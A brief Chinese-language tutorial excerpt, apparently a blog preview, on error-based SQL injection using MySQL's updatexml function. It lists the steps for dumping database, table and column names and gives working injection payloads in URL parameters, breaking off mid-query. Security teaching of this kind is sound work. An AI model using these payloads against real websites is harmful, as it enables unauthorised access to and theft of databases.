基于报错的注入模式

updatexml函数   基于报错的注入一般bu'z步骤 1.求闭合字符；2.爆数据库名；3.爆表名；4.爆列名；5.爆字段名。     求库名 ?id=1’ and updatexml(1,concat(0x23,database()),1)%23 求表名 ?id=1' and updatexml(1,concat(0x23,(select group_concat(table_name) f

>>阅读原文<<